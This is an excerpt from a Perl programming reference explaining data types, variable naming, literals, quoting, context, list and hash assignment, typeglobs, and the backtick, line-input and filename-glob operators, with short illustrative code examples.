Scalars are the fundamental type from which more complicated structures are built. A scalar stores a single, simple value, typically a string or a number. Elements of this simple type can be combined into either of the two composite types. An array is an ordered list of scalars that you access with a numeric subscript (subscripts start at 0).[1] A hash is an unordered set of key/value pairs that you access using strings (keys) as subscripts, to look up the scalar value corresponding to a given key. Variables are always one of these three types. (Other than variables, Perl also has some partially hidden thingies called filehandles, directory handles, subroutines, typeglobs, and formats, which you can think of as data types.)

[1] As in C, all of Perl's indexing starts with zero. (A negative subscript counts from the end, though.) This applies to various substring and sublist operations as well as to regular subscripting.

Previous: 2.1 Lexical Texture | Programming Perl | Next: 2.3 Terms
2.1 Lexical Texture | Book Index | 2.3 Terms


[Chapter 2] 2.3 Terms

Programming PerlSearch this book

2.3 Terms

Now that we've talked about the kinds of data you can represent in Perl, we'd like to introduce you to the various kinds of terms you can use to pull that data into expressions. We'll use the technical term term when we want to talk in terms of these syntactic units. (Hmm, this could get confusing.) The first terms we'll talk about are variables.

2.3.1 Variables

There are variable types corresponding to each of the three data types we mentioned. Each of these is introduced (grammatically speaking) by what we call a "funny character". Scalar variables are always named with an initial $, even when referring to a scalar that is part of an array or hash. It works a bit like the English word "the". Thus, we have:

Construct | Meaning
$days | Simple scalar value $days
$days[28] | 29th element of array @days
$days{'Feb'} | "Feb" value from hash %days
$#days | Last index of array @days
$days->[28] | 29th element of array pointed to by reference $days

Entire arrays or array slices (and also slices of hashes) are named with @, which works much like the words "these" or "those":

Construct | Meaning
@days | Same as ($days[0], $days[1],... $days[n])
@days[3, 4, 5] | Same as ($days[3], $days[4], $days[5])
@days[3..5] | Same as ($days[3], $days[4], $days[5])
@days{'Jan','Feb'} | Same as ($days{'Jan'},$days{'Feb'})

Entire hashes are named by %:

Construct | Meaning
%days | (Jan => 31, Feb => $leap ? 29 : 28, ...)

Any of these nine constructs may serve as an lvalue, that is, they specify a location that you could assign a value to, among other things.[2]

[2] Assignment itself is an lvalue in certain contexts - see examples under s///, tr///, chop, and chomp in Chapter 3.

In addition, subroutine calls are named with an initial &, although this is optional when it's otherwise unambiguous (just as "do" is often redundant in English). Symbol table entries can be named with an initial *, but you don't really care about that yet.

Every variable type has its own namespace. You can, without fear of conflict, use the same name for a scalar variable, an array, or a hash (or, for that matter, a filehandle, a subroutine name, a label, or your pet llama). This means that $foo and @foo are two different variables. It also means that $foo[1] is an element of @foo, not a part of $foo. This may seem a bit weird, but that's okay, because it is weird.

Since variable names always start with $, @, or %, the reserved words can't conflict with variable names. But they can conflict with nonvariable identifiers, such as labels and filehandles, which don't have an initial funny character. Since reserved words are always entirely lowercase, we recommend that you pick label and filehandle names that do not appear all in lowercase. For example, you could say open(LOG,'logfile') rather than the regrettable open(log,'logfile').[3] Using uppercase filehandles also improves readability and protects you from conflict with future reserved words.

[3] Regrettable because log is a predefined function returning the base e logarithm of its argument, or of $_ if its argument is missing, as it is in this case.

Case is significant - FOO, Foo and foo are all different names. Names that start with a letter or underscore may be of any length (well, 255 characters, at least) and may contain letters, digits, and underscores. Names that start with a digit may only contain more digits. Names that start with anything else are limited to that one character (like $? or $$), and generally have a predefined significance to Perl. For example, just as in the Bourne shell, $$ is the current process ID and $? the exit status of your last child process.

Sometimes you want to name something indirectly. It is possible to replace an alphanumeric name with an expression that returns a reference to the actual variable (see Chapter 4, References and Nested Data Structures).

2.3.2 Scalar Values

Whether it's named directly or indirectly, or is just a temporary value on a stack, a scalar always contains a single value. This value may be a number,[4] a string,[5] or a reference to another piece of data. (Or there may be no value at all, in which case the scalar is said to be undefined.) While we might speak of a scalar as "containing" a number or a string, scalars are essentially typeless; there's no way to declare a scalar to be of type "number" or "string". Perl converts between the various subtypes as needed, so you can treat a number as a string or a string as a number, and Perl will do the Right Thing.[6]

[4] Perl stores numbers as signed integers if possible, or as double-precision floating-point values in the machine's native format otherwise. Floating-point values are not infinitely precise. This is very important to remember, since comparisons like (10/3 == 1/3*10) tend to fail mysteriously.

[5] Perl stores strings as sequences of bytes, with no arbitrary constraints on length or content. In human terms, you don't have to decide in advance how long your strings are going to get, and you can include any characters including null characters within your string.

[6] To convert from string to number, Perl uses C's atof(3) function. To convert from number to string, it does the equivalent of an sprintf(3) with a format of "%.14g" on most machines.

While strings and numbers are interchangeable for nearly all intents and purposes, references are a bit different. They're strongly typed, uncastable[7] pointers with built-in reference-counting and destructor invocation. You can use them to create complex data types, including user-defined objects. But they're still scalars, for all that. See Chapter 4 for more on references.

[7] By which we mean that you can't, for instance, convert a reference to an array into a reference to a hash. References are not castable to other pointer types. However, if you use a reference as a number or a string, you will get a numeric or string value, which is guaranteed to retain the uniqueness of the reference even though the "referenceness" of the value is lost when the value is copied from the real reference. You can compare such values or test whether they are defined. But you can't do much else with the values, since there's no way to convert numbers or strings into references. In general this is not a problem, since Perl doesn't force you to do pointer arithmetic - or even allow it.

2.3.2.1 Numeric literals

Numeric literals are specified in any of several customary[8] floating point or integer formats:

[8] Customary in UNIX culture, that is. If you're from a different culture, welcome to ours!

12345               # integer
12345.67            # floating point
6.02E23             # scientific notation
0xffff              # hexadecimal
0377                # octal
4_294_967_296       # underline for legibility

Since Perl uses the comma as a list separator, you cannot use it to delimit the triples in a large number. To improve legibility, Perl does allow you to use an underscore character instead. The underscore only works within literal numbers specified in your program, not for strings functioning as numbers or data read from somewhere else. Similarly, the leading 0x for hex and 0 for octal work only for literals. The automatic conversion of a string to a number does not recognize these prefixes - you must do an explicit conversion[9] with the oct function (which works for hex-looking data, too, as it happens).

[9] Sometimes people think Perl should convert all incoming data for them. But there are far too many decimal numbers with leading zeroes in the world to make Perl do this automatically. For example, the zip code for O'Reilly & Associates' office in Cambridge, MA is 02140. The postmaster would get upset if your mailing label program turned 02140 into 1120 decimal.

2.3.2.2 String literals

String literals are usually delimited by either single or double quotes. They work much like UNIX shell quotes: double-quoted string literals are subject to backslash and variable interpolation; single-quoted strings are not (except for \' and \\, so that you can put single quotes and backslashes into single-quoted strings).

You can also embed newlines directly in your strings; that is, they can begin and end on different lines. This is nice for many reasons, but it also means that if you forget a trailing quote, the error will not be reported until Perl finds another line containing the quote character, which may be much further on in the script. Fortunately, this usually causes an immediate syntax error on the same line, and Perl is then smart enough to warn you that you might have a runaway string.

Note that a single-quoted string must be separated from a preceding word by a space, since a single quote is a valid (though deprecated) character in an identifier; see Chapter 5.

With double-quoted strings, the usual C-style backslash rules apply for inserting characters such as newline, tab, and so on. You may also specify characters in octal and hexadecimal, or as control characters:

Code | Meaning
\n | Newline
\r | Carriage return
\t | Horizontal tab
\f | Form feed
\b | Backspace
\a | Alert (bell)
\e | ESC character
\033 | ESC in octal
\x7f | DEL in hexadecimal
\cC | Control-C

In addition, there are escape sequences to modify the case of subsequent characters, as with the substitution operator in the vi editor:

Code | Meaning
\u | Force next character to uppercase.
\l | Force next character to lowercase.
\U | Force all following characters to uppercase.
\L | Force all following characters to lowercase.
\Q | Backslash all following non-alphanumeric characters.
\E | End \U, \L, or \Q.

Besides the backslash escapes listed above, double-quoted strings are subject to variable interpolation of scalar and list values. This means that you can insert the values of certain variables directly into a string literal. It's really just a handy form of string concatenation. Variable interpolation may only be done for scalar variables, entire arrays (but not hashes), single elements from an array or hash, or slices (multiple subscripts) of an array or hash. In other words, you may only interpolate expressions that begin with $ or @, because those are the two characters (along with backslash) that the string parser looks for.[10] Although a complete hash specified with a % may not be interpolated into the string, single hash values and hash slices are okay, because they begin with $ and @ respectively.

[10] Inside strings a literal @ that is not part of an array or slice identifier must be escaped with a backslash (\@), or else a compilation error will result. See Chapter 9, Diagnostic Messages.

The following code segment prints out: "The price is $100."

$Price = '$100';                    # not interpolated
print "The price is $Price.\n";     # interpolated

As in some shells, you can put braces around the identifier to distinguish it from following alphanumerics: "How ${verb}able!". In fact, an identifier within such braces is forced to be a string, as is any single identifier within a hash subscript. For example:

$days{'Feb'}

can be written as:

$days{Feb}

and the quotes will be assumed automatically. But anything more complicated in the subscript will be interpreted as an expression.

Apart from the subscripts of interpolated array and hash variables, there are no multiple levels of interpolation. In particular, contrary to the expectations of shell programmers, backquotes do not interpolate within double quotes, nor do single quotes impede evaluation of variables when used within double quotes.

2.3.2.3 Pick your own quotes

While we usually think of quotes as literal values, in Perl they function more like operators, providing various kinds of interpolating and pattern matching capabilities. Perl provides the customary quote characters for these behaviors, but also provides a way for you to choose your quote character for any of them.

Customary | Generic | Meaning | Interpolates
'' | q// | Literal | No
"" | qq// | Literal | Yes
`` | qx// | Command | Yes
() | qw// | Word list | No
// | m// | Pattern match | Yes
s/// | s/// | Substitution | Yes
y/// | tr/// | Translation | No

Some of these are simply forms of "syntactic sugar" to let you avoid putting too many backslashes into quoted strings. Any non-alphanumeric, non-whitespace delimiter can be used in place of /.[11] If the delimiters are single quotes, no variable interpolation is done on the pattern. If the opening delimiter is a parenthesis, bracket, brace, or angle bracket, the closing delimiter will be the matching construct. (Embedded occurrences of the delimiters must match in pairs.) Examples:

[11] In particular, the newline and space characters are not allowed as delimiters. (Ancient versions of Perl allowed this.)

$single = q!I said, "You said, 'She said it.'"!;
$double = qq(Can't we get some "good" $variable?);
$chunk_of_code = q {
    if ($condition) {
        print "Gotcha!";
    }
};

Finally, for two-string constructs like s/// and tr///, if the first pair of quotes is a bracketing pair, then the second part gets its own starting quote character, which needn't be the same as the first pair. So you can write things like s{foo}(bar) or tr[a-z][A-Z]. Whitespace is allowed between the two inner quote characters, so you could even write that last one as:

tr [a-z]
   [A-Z];

2.3.2.4 Or leave the quotes out entirely

A word that has no other interpretation in the grammar will be treated as if it were a quoted string. These are known as barewords.[12] For example:

[12] As with filehandles and labels, a bareword that consists entirely of lowercase letters risks conflict with future reserved words. If you use the -w switch, Perl will warn you about barewords.

@days = (Mon,Tue,Wed,Thu,Fri);
print STDOUT hello, ' ', world, "\n";

sets the array @days to the short form of the weekdays and prints hello world followed by a newline on STDOUT. If you leave the filehandle out, Perl tries to interpret hello as a filehandle, resulting in a syntax error. Because this is so error-prone, some people may wish to outlaw barewords entirely. If you say:

use strict 'subs';

then any bareword that would not be interpreted as a subroutine call produces a compile-time error instead. The restriction lasts to the end of the enclosing block. An inner block may countermand this by saying:

no strict 'subs';

Note that the bare identifiers in constructs like:

"${verb}able"
$days{Feb}

are not considered barewords, since they're allowed by explicit rule rather than by having "no other interpretation in the grammar".

2.3.2.5 Interpolating array values

Array variables are interpolated into double-quoted strings by joining all the elements of the array with the delimiter specified in the $" variable[13] (which is a space by default). The following are equivalent:

[13] $LIST_SEPARATOR if you use the English library module. See Chapter 7, The Standard Perl Library.

$temp = join($",@ARGV);
print $temp;

print "@ARGV";

Within search patterns (which also undergo double-quotish interpolation) there is a bad ambiguity: Is /$foo[bar]/ to be interpreted as /${foo}[bar]/ (where [bar] is a character class for the regular expression) or as /${foo[bar]}/ (where [bar] is the subscript to array @foo)? If @foo doesn't otherwise exist, then it's obviously a character class. If @foo exists, Perl takes a good guess about [bar], and is almost always right.[14] If it does guess wrong, or if you're just plain paranoid, you can force the correct interpretation with braces as above. Even if you're merely prudent, it's probably not a bad idea.

[14] The guesser is too boring to describe in full, but basically takes a weighted average of all the things that look like character classes (a-z, \w, initial ^) versus things that look like expressions (variables or reserved words).

2.3.2.6 "Here" documents

A line-oriented form of quoting is based on the shell's here-document syntax.[15] Following a << you specify a string to terminate the quoted material, and all lines following the current line down to the terminating string are quoted. The terminating string may be either an identifier (a word), or some quoted text. If quoted, the type of quote you use determines the treatment of the text, just as in regular quoting. An unquoted identifier works like double quotes. There must be no space between the << and the identifier. (If you insert a space, it will be treated as a null identifier, which is valid but deprecated, and matches the first blank line - see the first Hurrah! example below.) The terminating string must appear by itself (unquoted and with no surrounding whitespace) on the terminating line.

[15] It's line-oriented in the sense that delimiters are lines rather than characters. The starting delimiter is the current line, and the terminating delimiter is a line consisting of the string you specify.

    print <<EOF;    # same as earlier example
The price is $Price.
EOF

    print <<"EOF";  # same as above, with explicit quotes
The price is $Price.
EOF

    print <<'EOF';    # single-quoted quote
All things (e.g. a camel's journey through
A needle's eye) are possible, it's true.
But picture how the camel feels, squeezed out
In one long bloody thread, from tail to snout.
                                -- C.S. Lewis
EOF

    print << x 10;    # print next line 10 times
The camels are coming!  Hurrah!  Hurrah!

    print <<"" x 10;  # the preferred way to write that
The camels are coming!  Hurrah!  Hurrah!

    print <<`EOC`;    # execute commands
echo hi there
echo lo there
EOC

    print <<"dromedary", <<"camelid"; # you can stack them
I said bactrian.
dromedary
She said llama.
camelid

Just don't forget that you have to put a semicolon on the end to finish the statement, as Perl doesn't know you're not going to try to do this:

print <<ABC
179231
ABC
    + 20;   # prints 179251

2.3.2.7 Other literal tokens

Two special literals are __LINE__ and __FILE__, which represent the current line number and filename at that point in your program. They may only be used as separate tokens; they will not be interpolated into strings. In addition, the token __END__ may be used to indicate the logical end of the script before the actual end of file. Any following text is ignored, but may be read via the DATA filehandle.

The __DATA__ token functions similarly to the __END__ token, but opens the DATA filehandle within the current package's namespace, so that required files can each have their own DATA filehandles open simultaneously. For more information, see Chapter 5.

2.3.3 Context

Until now we've seen a number of terms that can produce scalar values. Before we can discuss terms further, though, we must come to terms with the notion of context.

2.3.3.1 Scalar and list context

Every operation[16] that you invoke in a Perl script is evaluated in a specific context, and how that operation behaves may depend on the requirements of that context. There are two major contexts: scalar and list. For example, assignment to a scalar variable evaluates the right-hand side in a scalar context, while assignment to an array or a hash (or slice of either) evaluates the right-hand side in a list context. Assignment to a list of scalars would also provide a list context to the right-hand side.

[16] Here we use the term "operation" loosely to mean either an operator or a term. The two concepts fuzz into each other when you start talking about functions that parse like terms but look like unary operators.

You will be miserable until you learn the difference between scalar and list context, because certain operators know which context they are in, and return lists in contexts wanting a list, and scalar values in contexts wanting a scalar. (If this is true of an operation, it will be mentioned in the documentation for that operation.) In computer lingo, the functions are overloaded on the type of their return value. But it's a very simple kind of overloading, based only on the distinction between singular and plural values, and nothing else.

Other operations supply the list contexts to their operands, and you can tell which ones they are because they all have LIST in their syntactic descriptions. Generally it's quite intuitive.[17] If necessary, you can force a scalar context in the middle of a LIST by using the scalar function. (Perl provides no way to force a list context in a scalar context, because anywhere you would want a list context it's already provided by the LIST of some controlling function.)

[17] Note, however, that the list context of a LIST can propagate down through subroutine calls, so it's not always obvious by inspection whether a given simple statement is going to be evaluated in a scalar or list context. The program can find out its context within a subroutine by using the wantarray function.

Scalar context can be further classified into string context, numeric context, and don't-care context. Unlike the scalar versus list distinction we just made, operations never know which scalar context they're in. They simply return whatever kind of scalar value they want to, and let Perl translate numbers to strings in string context, and strings to numbers in numeric context. Some scalar contexts don't care whether a string or number is returned, so no conversion will happen. (This happens, for example, when you are assigning the value to another variable. The new variable just takes on the same subtype as the old value.)

2.3.3.2 Boolean context

One special scalar context is called Boolean context. Boolean context is simply any place where an expression is being evaluated to see whether it's true or false. We sometimes write true and false when we mean the technical definition that Perl uses: a scalar value is true if it is not the null string or the number 0 (or its string equivalent, "0"). References are always true.

A Boolean context is a don't-care context in the sense that it never causes any conversions to happen (at least, no conversions beyond what scalar context would impose).

We said that a null string is false, but there are actually two varieties of null scalars: defined and undefined. Boolean context doesn't distinguish between defined and undefined scalars. Undefined null scalars are returned when there is no real value for something, such as when there was an error, or at end of file, or when you refer to an uninitialized variable or element of an array. An undefined null scalar may become defined the first time you use it as if it were defined, but prior to that you can use the defined operator to determine whether the value is defined or not. (The return value of defined is always defined, but not always true.)

2.3.3.3 Void context

Another peculiar kind of scalar context is the void context. This context not only doesn't care what the return value is, it doesn't even want a return value. From the standpoint of how functions work, it's no different from an ordinary scalar context. But if you use the -w command-line switch, the Perl compiler will warn you if you use an expression with no side effects in a place that doesn't want a value, such as in a statement that doesn't return a value. For example, if you use a string as a statement:

"Camel Lot";

you may get a warning like this:

Useless use of a constant in void context in myprog line 123;

2.3.3.4 Interpolative context

We mentioned that double-quoted literal strings do backslash interpretation and variable interpolation, but the interpolative context (often called "double-quote context") applies to more than just double-quoted strings. Some other double-quotish constructs are the generalized backtick operator qx//, the pattern match operator m//, and the substitution operator s///. In fact, the substitution operator does interpolation on its left side before doing a pattern match, and then does interpolation on its right side each time the left side matches.

The interpolative context only happens inside quotes, or things that work like quotes, so perhaps it's not fair to call it a context in the same sense as scalar and list context. (Then again, maybe it is.)

2.3.4 List Values and Arrays

Now that we've talked about context, we can talk about list values, and how they behave in context. List values are denoted by separating individual values by commas (and enclosing the list in parentheses where precedence requires it):

(LIST)

In a list context, the value of the list literal is all the values of the list in order. In a scalar context, the value of a list literal is the value of the final element, as with the C comma operator, which always throws away the value on the left and returns the value on the right. (In terms of what we discussed earlier, the left side of the comma operator provides a void context.) For example:

@stuff = ("one", "two", "three");

assigns the entire list value to array @stuff, but:

$stuff = ("one", "two", "three");

assigns only the value three to variable $stuff. The comma operator knows whether it is in a scalar or a list context. An actual array variable also knows its context. In a list context, it would return its entire contents, but in a scalar context it returns only the length of the array (which works out nicely if you mention the array in a conditional). The following assigns to $stuff the value 3:

@stuff = ("one", "two", "three");
$stuff = @stuff;      # $stuff gets 3, not "three"

Until now we've pretended that LISTs are just lists of literals. But in fact, any expressions that return values may be used within lists. The values so used may either be scalar values or list values. LISTs do automatic interpolation of sublists. That is, when a LIST is evaluated, each element of the list is evaluated in a list context, and the resulting list value is interpolated into LIST just as if each individual element were a member of LIST. Thus arrays lose their identity in a LIST. The list:

(@foo,@bar,&SomeSub)

contains all the elements of @foo, followed by all the elements of @bar, followed by all the elements returned by the subroutine named SomeSub when it's called in a list context. You can use a reference to an array if you do not want it to interpolate. See Chapter 4, yet again.

The null list is represented by (). Interpolating it in a list has no effect. Thus, ((),(),()) is equivalent to (). Similarly, interpolating an array with no elements is the same as if no array had been interpolated at that point.

You may place an optional comma at the end of any list value. This makes it easy to come back later and add more elements.

@numbers = (
    1,
    2,
    3,
);

Another way to specify a literal list is with the qw (quote words) syntax we mentioned earlier. This construct is equivalent to splitting a single-quoted string on whitespace. For example:

@foo = qw(
    apple       banana      carambola
    coconut     guava       kumquat
    mandarin    nectarine   peach
    pear        persimmon   plum
);

(Note that those parentheses are behaving as quote characters, not ordinary parentheses. We could just as easily have picked angle brackets or braces or slashes.)

A list value may also be subscripted like a normal array. You must put the list in parentheses (real ones) to avoid ambiguity. Examples:

# Stat returns list value.
$modification_time = (stat($file))[9];

# SYNTAX ERROR HERE.
$modification_time = stat($file)[9];  # OOPS, FORGOT PARENS

# Find a hex digit.
$hexdigit = ('a','b','c','d','e','f')[$digit-10];

# A "reverse comma operator".
return (pop(@foo),pop(@foo))[0];

Lists may be assigned to if and only if each element of the list is legal to assign to:

($a, $b, $c) = (1, 2, 3);

($map{red}, $map{green}, $map{blue}) = (0x00f, 0x0f0, 0xf00);

List assignment in a scalar context returns the number of elements produced by the expression on the right side of the assignment:

$x = ( ($foo,$bar) = (7,7,7) );       # set $x to 3, not 2
$x = ( ($foo,$bar) = f() );           # set $x to f()'s return count

This is handy when you want to do a list assignment in a Boolean context, since most list functions return a null list when finished, which when assigned produces a 0, which is interpreted as false. The final list element may be an array or a hash:

($a, $b, @rest) = split;
my ($a, $b, %rest) = @arg_list;

You can actually put an array or hash anywhere in the list you assign to, but the first one in the list will soak up all the values, and anything after it will get an undefined value. This may be useful in a local or my, where you probably want the arrays initialized to be empty anyway.

You may find the number of elements in the array @days by evaluating @days in a scalar context, such as:

@days + 0;      # implicitly force @days into a scalar context
scalar(@days)   # explicitly force @days into a scalar context

Note that this only works for arrays. It does not work for list values in general. A comma-separated list evaluated in a scalar context will return the last value, like the C comma operator.

Closely related to the scalar evaluation of @days is $#days. This will return the subscript of the last element of the array, or one less than the length, since there is (ordinarily) a 0th element.[18] Assigning to $#days changes the length of the array. Shortening an array by this method destroys intervening values. You can gain some measure of efficiency by pre-extending an array that is going to get big. (You can also extend an array by assigning to an element that is off the end of the array.) You can truncate an array down to nothing by assigning the null list () to it.[19] The following two statements are equivalent:

[18] For historical reasons, the special variable $[ can be used to change the array base. Its use is not recommended, however. In fact, this is the last we'll even mention it. Just don't use it.

[19] In the current version of Perl, re-extending a truncated array does not recover the values in the array. (It did in earlier versions.)

@whatever = ();
$#whatever = -1;

And the following is always true:[20]

[20] Unless you've diddled the deprecated $[ variable. Er, this is the last time we'll mention it ...

scalar(@whatever) == $#whatever + 1;

2.3.5 Hashes (Associative Arrays)

As we indicated previously, a hash is just a funny kind of array in which you look values up using key strings instead of numbers. It defines associations between keys and values, so hashes are often called associative arrays.

There really isn't any such thing as a hash literal in Perl, but if you assign an ordinary list to a hash, each pair of values in the list will be taken to indicate one key/value association:

%map = ('red',0x00f,'green',0x0f0,'blue',0xf00);

This has the same effect as:

%map = ();            # clear the hash first
$map{red}   = 0x00f;
$map{green} = 0x0f0;
$map{blue}  = 0xf00;

It is often more readable to use the => operator between key/value pairs. The => operator is just a synonym for a comma, but it's more visually distinctive, and it also quotes any bare identifiers to the left of it (just like the identifiers in braces above), which makes it nice for initializing hash variables:

%map = (
    red   => 0x00f,
    green => 0x0f0,
    blue  => 0xf00,
);

or for initializing anonymous hash references to be used as records:

$rec = {
    witch => 'Mable the Merciless',
    cat   => 'Fluffy the Ferocious',
    date  => '10/31/1776',
};

or for using call-by-named-parameter to invoke complicated functions:

$field = $query->radio_group(
                    NAME      => 'group_name',
                    VALUES    => ['eenie','meenie','minie'],
                    DEFAULT   => 'meenie',
                    LINEBREAK => 'true',
                    LABELS    => \%labels,
                );

But we're getting ahead of ourselves. Back to hashes.

You can use a hash variable (%hash) in a list context, in which case it interpolates all the key/value pairs into the list. But just because the hash was initialized in a particular order doesn't mean that the values come back in that order. Hashes are implemented internally using hash tables for speedy lookup, which means that the order in which entries are stored is dependent on the nature of the hash function used to calculate positions in the hash table, and not on anything interesting. So the entries come back in a seemingly random order. (The two elements of each key/value pair come out in the right order, of course.) For examples of how to arrange for an output ordering, see the keys entry in Chapter 3, or DB_BTREE description in the DB_File documentation in Chapter 7.

If you evaluate a hash variable in a scalar context, it returns a value that is true if and only if the hash contains any key/value pairs. (If there are any key/value pairs, the value returned is a string consisting of the number of used buckets and the number of allocated buckets, separated by a slash. This is pretty much only useful to find out whether Perl's (compiled in) hashing algorithm is performing poorly on your data set. For example, you stick 10,000 things in a hash, but evaluating %HASH in scalar context reveals "1/8", which means only one out of eight buckets has been touched, and presumably that one bucket contains all 10,000 of your items. This isn't supposed to happen.)

2.3.6 Typeglobs and Filehandles

Perl uses an internal type called a typeglob to hold an entire symbol table entry. The type prefix of a typeglob is a *, because it represents all types. This used to be the preferred way to pass arrays and hashes by reference into a function, but now that we have real references, this mechanism is seldom needed.

Typeglobs (or references thereto) are still used for passing or storing filehandles. If you want to save away a filehandle, do it this way:

$fh = *STDOUT;

or perhaps as a real reference, like this:

$fh = \*STDOUT;

This is also the way to create a local filehandle. For example:

sub newopen {
    my $path = shift;
    local *FH;  # not my!
    open (FH, $path) || return undef;
    return *FH;
}
$fh = newopen('/etc/passwd');

See the open entry in Chapter 3 and the FileHandle module in Chapter 7, for how to generate new filehandles.

But the main use of typeglobs nowadays is to alias one symbol table entry to another symbol table entry. If you say:

*foo = *bar;

it makes everything named "foo" a synonym for every corresponding thing named "bar". You can alias just one of the variables in a typeglob by assigning a reference instead:

*foo = \$bar;

makes $foo an alias for $bar, but doesn't make @foo an alias for @bar, or %foo an alias for %bar. Aliasing variables like this may seem like a silly thing to want to do, but it turns out that the entire module export/import mechanism is built around this feature, since there's nothing that says the symbol you're aliasing has to be in your namespace. See Chapter 4 and Chapter 5 for more discussion on typeglobs.

2.3.7 Input Operators

There are several input operators we'll discuss here because they parse as terms. In fact, sometimes we call them pseudo-literals because they act like quoted strings in many ways. (Output operators like print parse as list operators and are discussed in Chapter 3.)

2.3.7.1 Command input (backtick) operator

First of all, we have the command input operator, also known as the backticks operator, because it looks like this:

$info = `finger $user`;

A string enclosed by backticks (grave accents) first undergoes variable interpolation just like a double-quoted string. The result of that is then interpreted as a command by the shell, and the output of that command becomes the value of the pseudo-literal. (This is modeled after a similar operator in some of the UNIX shells.) In scalar context, a single string consisting of all the output is returned. In list context, a list of values is returned, one for each line of output. (You can set $/ to use a different line terminator.)

The command is executed each time the pseudo-literal is evaluated. The numeric status value of the command is saved in $? (see the section "Special Variables" later in this chapter for the interpretation of $?). Unlike the csh version of this command, no translation is done on the return data - newlines remain newlines. Unlike any of the shells, single quotes do not hide variable names in the command from interpretation. To pass a $ through to the shell you need to hide it with a backslash. The $user in our example above is interpolated by Perl, not by the shell. (Because the command undergoes shell processing, see Chapter 6, Social Engineering, for security concerns.)

The generalized form of backticks is qx// (for "quoted execution"), but the operator works exactly the same way as ordinary backticks. You just get to pick your quote characters.

2.3.7.2 Line input (angle) operator

The most heavily used input operator is the line input operator, also known as the angle operator. Evaluating a filehandle in angle brackets (<STDIN>, for example) yields the next line from the associated file. (The newline is included, so according to Perl's criteria for truth, a freshly input line is always true, up until end of file, at which point an undefined value is returned, which is false.) Ordinarily you would assign the input value to a variable, but there is one situation where an automatic assignment happens. If and only if the line input operator is the only thing inside the conditional of a while loop, the value is automatically assigned to the special variable $_. The assigned value is then tested to see whether it is defined. (This may seem like an odd thing to you, but you'll use the construct in almost every Perl script you write.) Anyway, the following lines are equivalent to each other:

while (defined($_ = <STDIN>)) { print $_; }   # the long way
while (<STDIN>) { print; }                    # the short way
for (;<STDIN>;) { print; }                    # while loop in disguise
print $_ while defined($_ = <STDIN>);         # long statement modifier
print while <STDIN>;                          # short statement modifier

Remember that this special magic requires a while loop. If you use the input operator anywhere else, you must assign the result explicitly if you want to keep the value:

if (<STDIN>)      { print; }   # WRONG, prints old value of $_
if ($_ = <STDIN>) { print; }   # okay

The filehandles STDIN, STDOUT, and STDERR are predefined and pre-opened.[21] Additional filehandles may be created with the open function. See the open entry in Chapter 3 for details on this. Some object modules also create object references that can be used as filehandles. See the FileHandle module in Chapter 7.

[21] The filehandles stdin, stdout, and stderr will also work except in packages, where they would be interpreted as local identifiers rather than global. They're only there for compatibility with very old scripts, so use the uppercase versions.

In the while loops above, we were evaluating the line input operator in a scalar context, so it returned each line separately. However, if you use it in a list context, a list consisting of all the remaining input lines is returned, one line per list element. It's easy to make a large data space this way, so use this feature with care:

$one_line = <MYFILE>;   # Get first line.
@all_lines = <MYFILE>;  # Get the rest of the lines.

There is no while magic associated with the list form of the input operator, because the condition of a while loop is always a scalar context (as is any conditional).

Using the null filehandle within the angle operator is special and can be used to emulate the command-line behavior of typical UNIX filter programs such as sed and awk. When you read lines from <>, it magically gives you all the lines from all the files mentioned on the command line. If no files were mentioned, it gives you standard input instead, so your program is easy to insert into the middle of a pipeline of processes.

Here's how it works: the first time <> is evaluated, the @ARGV array is checked, and if it is null, $ARGV[0] is set to "-", which when opened gives you standard input. The @ARGV array is then processed as a list of filenames. The loop:

while (<>) {
    ...                     # code for each line
}

is equivalent to the following Perl-like pseudocode:

@ARGV = ('-') unless @ARGV;
while ($ARGV = shift) {
    open(ARGV, $ARGV) or warn "Can't open $ARGV: $!\n";
    while (<ARGV>) {
        ...         # code for each line
    }
}

except that it isn't so cumbersome to say, and will actually work. It really does shift array @ARGV and put the current filename into variable $ARGV. It also uses filehandle ARGV internally - <> is just a synonym for <ARGV>, which is magical. (The pseudocode above doesn't work because it treats <ARGV> as non-magical.)

You can modify @ARGV before the first <> as long as the array ends up containing the list of filenames you really want. Line numbers ($.) continue as if the input were one big happy file. (But see the example under eof for how to reset line numbers on each file.)

If you want to set @ARGV to your own list of files, go right ahead. If you want to pass switches into your script, you can use one of the Getopts modules or put a loop on the front like this:

while ($_ = $ARGV[0], /^-/) {
    shift;
    last if /^--$/;
    if (/^-D(.*)/) { $debug = $1 }
    if (/^-v/)     { $verbose++  }
    ...             # other switches
}
while (<>) {
    ...             # code for each line
}

The <> symbol will return false only once. If you call it again after this it will assume you are processing another @ARGV list, and if you haven't set @ARGV, it will input from STDIN.

If the string inside the angle brackets is a scalar variable (for example, <$foo>), then that variable contains the name of the filehandle to input from, or a reference to the same. For example:

$fh = \*STDIN;
$line = <$fh>;

2.3.7.3 Filename globbing operator

You might wonder what happens to a line input operator if you put something fancier inside the angle brackets. What happens is that it mutates into a different operator. If the string inside the angle brackets is anything other than a filehandle name or a scalar variable (even if there are just extra spaces), it is interpreted as a filename pattern to be "globbed".[22] The pattern is matched against the files in the current directory (or the directory specified as part of the glob pattern), and the filenames so matched are returned by the operator. As with line input, the names are returned one at a time in scalar context, or all at once in list context. In fact, the latter usage is more prevalent. You generally see things like:

[22] This has nothing to do with the previously mentioned typeglobs, other than that they both use the * character in a wildcard fashion. The * character has the nickname "glob" when used like this. With typeglobs you're globbing symbols with the same name from the symbol table. With a filename glob, you're doing wildcard matching on the filenames in a directory, just as the various shells do.

my @files = <*.html>;

As with other kinds of pseudo-literals, one level of variable interpolation is done first, but you can't say <$foo> because that's an indirect filehandle as explained earlier. (In older versions of Perl, programmers would insert braces to force interpretation as a filename glob: <${foo}>. These days, it's considered cleaner to call the internal function directly as glob($foo), which is probably the right way to have invented it in the first place.)

Whether you use the glob function or the old angle-bracket form, the globbing operator also does while magic like the line input operator, and assigns the result to $_. For example:

while (<*.c>) {
    chmod 0644, $_;
}

is equivalent to:

open(FOO, "echo *.c | tr -s ' \t\r\f' '\\012\\012\\012\\012'|");
while (<FOO>) {
    chop;
    chmod 0644, $_;
}

In fact, it's currently implemented that way, more or less. (Which means it will not work on filenames with spaces in them unless you have csh(1) on your machine.) Of course, the shortest way to do the above is:

chmod 0644, <*.c>;

Because globbing invokes a subshell, it's often faster to call readdir yourself and just do your own grep on the filenames. Furthermore, due to its current implementation of using a shell, the glob routine may get "Arg list too long" errors (unless you've installed tcsh(1) as /bin/csh).

